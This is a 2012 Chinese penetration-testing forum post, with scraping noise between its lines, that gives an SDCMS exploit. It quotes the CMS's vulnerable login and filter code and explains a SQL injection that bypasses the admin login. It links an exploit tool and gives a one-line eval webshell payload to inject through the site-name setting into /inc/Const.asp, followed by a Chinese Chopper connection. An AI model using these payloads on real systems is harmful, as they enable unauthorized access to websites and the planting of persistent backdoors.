中国网络渗透测试联盟
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
[打印本页]
作者:
admin
时间:
2012-11-9 20:57
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥
8 r0 _" X3 z- O7 @1 ]
漏洞文件:后台目录/index.asp
0 ?1 F) t- g+ X) E5 Q6 y
7 ]& }* z# K! \+ S
Sub Check
! P$ `/ D! o- `8 c* P; N/ F% I$ [
Dim username,password,code,getcode,Rs
; J! ?. e2 q f: J2 p5 c. b
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
5 q: [5 f% K, w4 z9 @+ P
username=FilterText(Trim(Request.Form("username")),1)
& Q! M& D$ [& t2 C+ V
password=FilterText(Trim(Request.Form("password")),1)
7 K" Q* r9 J0 H1 j1 o
code=Trim(Request.Form("yzm"))
3 Q; c4 N$ ~; @- Z( U
getcode=Session("SDCMSCode")
8 L- j- } o I9 A
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
5 D1 D2 Q, Y* E4 R; P" `& ~
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"
ied
$ `5 D+ q. x8 y" f6 Q( H8 T
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"
ied
3 l o1 U4 H6 d2 U" r; k7 e& K
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"
ied
# h0 H, H: w5 I$ G- O0 I; y4 t0 K
IF username="" or password="" Then
( }: p4 W7 z* ^9 x+ V% S* Z+ B0 H
Echo "用户名或密码不能为空"
ied
; r/ H/ E7 @1 w. K7 |5 _1 W& |5 k
Else
& ^8 X/ [. t' {. W
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
Z& D1 p0 V* H* M3 @5 ]- u: U
IF Rs.Eof Then
, m2 ^/ R# V# T, K y& p2 j
AddLog username,GetIp,"登录失败",1
9 X5 \0 o* w/ r# k o2 @1 E
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
s/ o% z- G W9 z
Else
2 U J' F* l- ^& R. i
Add_Cookies "sdcms_id",Rs(0)
+ {" n. y6 L9 z& S& U0 r6 Q# r
Add_Cookies "sdcms_name",username
" u5 q: ^/ h: }
Add_Cookies "sdcms_pwd",Rs(2)
, l* B9 N( w$ b
Add_Cookies "sdcms_admin",Rs(3)
" _+ F. H# I ]! m
Add_Cookies "sdcms_alllever",Rs(4)
) ~9 _5 `- q+ X5 f
Add_Cookies "sdcms_infolever",Rs(5)
G$ @ |5 |1 L/ L6 m4 i
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
$ V' B% [* V0 K. r& O! z- f8 C( \
AddLog username,GetIp,"登录成功",1
* L/ \* R" Q, J( q
'自动删除30天前的Log记录
" E3 _6 k# J% Z4 _; K
IF Sdcms_DataType Then
6 h2 z$ M4 J- u @( _
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
7 U8 _: g) [2 O* Y0 w" L8 E2 H6 s. |
Else
1 j8 t: z/ w: z- R
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
3 V9 l9 h. N, @6 ^! }# e, x
End IF
8 B9 Q4 A. y1 L/ h
Go("sdcms_index.asp")
' o1 v, z* h( t3 E
End IF
0 `1 _. S5 G4 e6 N B; p
Rs.Close
0 m3 h/ v7 v* v R: t. A
Set Rs=Nothing
8 g9 x8 p- m1 |
End IF
/ e) r, Y7 u3 s; P
End Sub
* x7 c: Z5 n) b8 A6 I3 L
8 U! ]& F0 { o$ k+ E7 b
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
# ^0 j# p/ w5 m3 H
7 w8 j$ Z3 w1 C
Function FilterText(ByVal t0,ByVal t1)
* ]4 N" r9 _3 R/ Y: @
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
6 t* Z& E; k3 G3 Y1 p( p
t0=Trim(t0)
3 G, B' g j; V# P6 `5 K( d) c
Select Case t1
* L% t$ X# i) ?; k! y
Case "1"
7 \! S* n2 a7 S/ y! k* B) }; P
t0=Replace(t0,Chr(32),"")
" Z" g j- k- b2 N& \* y v
t0=Replace(t0,Chr(13),"")
: }) W: ]0 I ?; `
t0=Replace(t0,Chr(10)&Chr(10),"")
4 f* Q! j% o# ~$ y, C7 s
t0=Replace(t0,Chr(10),"")
$ g. ~9 h; E. J* b: T
Case "2"
5 @: @ ?4 ]4 u
t0=Replace(t0,Chr(8),"")'回格
( G2 U4 w/ ?! v- |4 I' C# l, Q
t0=Replace(t0,Chr(9),"")'tab(水平制表符)
; \& x! y g5 i# ^" [$ n1 [: P2 r
t0=Replace(t0,Chr(10),"")'换行
* j2 j, X5 k, V: V/ ]
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
0 u @9 q' a$ @4 X6 M% Q4 G
t0=Replace(t0,Chr(12),"")'换页
+ k) Q: w0 m" d0 }5 M3 q
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
2 T" v, M) n, e! I3 d
t0=Replace(t0,Chr(22),"")
* d8 b" v% B& g# @! |
t0=Replace(t0,Chr(32),"")'空格 SPACE
2 @+ q. \7 ~$ m7 ~, ^. F4 i: l7 a
t0=Replace(t0,Chr(33),"")'!
; L# h9 q8 _7 m7 F) C
t0=Replace(t0,Chr(34),"")'"
: l" f/ e; v) V( [. z& A% g
t0=Replace(t0,Chr(35),"")'#
! q8 B( r- m! `( j) T6 P) F" E
t0=Replace(t0,Chr(36),"")'$
S& z1 {: U* c
t0=Replace(t0,Chr(37),"")'%
, c( x4 C7 ~$ `
t0=Replace(t0,Chr(38),"")'&
# f% B2 M( g7 A( U- \- Z! P
t0=Replace(t0,Chr(39),"")''
+ V% r* Q7 {; m6 `; j" d i. I
t0=Replace(t0,Chr(40),"")'(
7 D/ a( W! u% r- i
t0=Replace(t0,Chr(41),"")')
+ ]- u' J$ ^: Z9 p
t0=Replace(t0,Chr(42),"")'*
7 R2 ~$ t4 b, K3 \! m" s$ H* ?: d1 _, Y
t0=Replace(t0,Chr(43),"")'+
* ?4 h' L6 ]+ T, D0 x
t0=Replace(t0,Chr(44),"")',
0 H9 q4 s6 G5 _- f6 v/ X) n
t0=Replace(t0,Chr(45),"")'-
5 }9 H! c s* Q% x/ m
t0=Replace(t0,Chr(46),"")'.
) y* g8 c- Q# M# B
t0=Replace(t0,Chr(47),"")'/
4 g% J" \# B% p) q
t0=Replace(t0,Chr(58),"")':
$ I8 z* Y' Z% [7 Q+ S
t0=Replace(t0,Chr(59),"")';
1 _2 J5 ?+ I3 `/ V) K/ S
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
2 O2 F* c& X0 _; f* L6 V& S# ~2 s
t0=Replace(t0,Chr(63),"")'?
8 [" s5 i; E; w/ ?. P+ j5 Y
t0=Replace(t0,Chr(64),"")'@
1 a$ O( {. W. W1 @$ {' {
t0=Replace(t0,Chr(91),"")'\
4 x, O1 B i0 z/ Y v& ~- h
t0=Replace(t0,Chr(92),"")'\
9 q9 b+ t l+ U: ^0 J! [3 H
t0=Replace(t0,Chr(93),"")']
1 {, ]% g5 V5 [' I4 V
t0=Replace(t0,Chr(94),"")'^
: T3 ^" R- O3 c |' E8 [
t0=Replace(t0,Chr(95),"")'_
* X+ H+ {4 Q* I6 w, g
t0=Replace(t0,Chr(96),"")'`
( d G! k ?- i0 n
t0=Replace(t0,Chr(123),"")'{
' m1 m x( w, n9 I+ m! J
t0=Replace(t0,Chr(124),"")'|
4 Y1 B& i, b4 k; V" J; Z: u
t0=Replace(t0,Chr(125),"")'}
- d, }5 L! S; l6 \% w
t0=Replace(t0,Chr(126),"")'~
; j7 W' x8 H; f# L% o9 {. `
Case Else
; S9 W8 l) ^$ @
t0=Replace(t0, "&", "&")
3 B9 x6 b+ p6 y9 }, R
t0=Replace(t0, "'", "'")
" ]% Y- c4 Z+ k) O1 M/ k1 s) [
t0=Replace(t0, """", """)
D% `. M2 ? @$ p
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
1 M6 N7 r3 M6 C O% n3 Z5 H
End Select
* ~1 ~" C& w: J
IF Instr(Lcase(t0),"expression")>0 Then
: ^ E& ]$ i3 V" C
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
' i J) _8 e8 F9 z
End If
4 d7 a. U$ l6 u/ [, B' `' ]
FilterText=t0
! l# C4 d8 h$ g
End Function
2 w4 k* j, ]+ O8 v1 V1 y* f5 ?
& }; s- U( }: J& S' s2 U
看到没。直接参数是1 只过滤
( C* l$ M( l* a
t0=Replace(t0,Chr(32)," ")
1 t0 ^" a6 F. n: T! D: L% \2 q
t0=Replace(t0,Chr(13),"")
( p- ]2 o3 a" h; Y
t0=Replace(t0,Chr(10)&Chr(10),"
+ v3 E% M5 T7 H4 t. h- X3 {7 s
")
2 `+ v. _2 z, ~6 |: U, [
t0=Replace(t0,Chr(10),"
- C$ w7 _6 a e5 B" d
")
T+ ?3 u+ E. C3 ?7 P5 y
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
3 R. j0 I7 y: k
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
; Z, ?6 o: s& t9 g, S9 \8 w0 _* G) _
- s( I, C, q7 X6 \( M: A
测试:
& H7 u3 `. e5 X9 d t
1 }$ [( z% `5 Q
; V* P, i0 \5 K8 s- x) @
现在输入工具上验证码,然后点OK
: B# V' A8 S; I, ?
1 h: {7 E$ U4 R3 E$ n7 d$ k
/ s, T0 p! ^) K5 T4 o( v" |/ r
看到我们直接进入后台管理界面了,呵呵!
! c7 J# w) ^5 j
5 n; m" { t- c9 K* u4 s m, B
1 o9 g. m! H6 [/ _: L8 e: \
1 b! z! w" E) _: ], d! M/ h& f
这样直接进入后台了。。。。
2 v2 V6 I4 w7 H/ c
* F/ v2 h. F% r7 c
3 k. o8 t0 |) _. f5 y
, y7 x, \! y5 w( P$ [
SDCMS提权:
9 s L$ R1 N# C' z8 [
c2 [8 @! ]2 I" X7 R. v) f1 U, }
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
+ [8 ~0 `$ M# ~! W: e+ K6 Y8 E
5 E* v% L: {* v0 \* y: k1 ~
! z G% P4 h" u. f `0 a
/ U- i, w5 E* V( e$ v8 ]9 w
OK,现在用菜刀连接下!
; C7 T* \( f# H& Y
. v" W/ N7 x1 Z* u' J! K( n: R
* h/ _' {" M9 U
. I3 }3 g1 V) R6 F/ v1 t
! W4 d8 F! Q2 t! \
5 H+ ?# p$ N6 Q/ ~
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2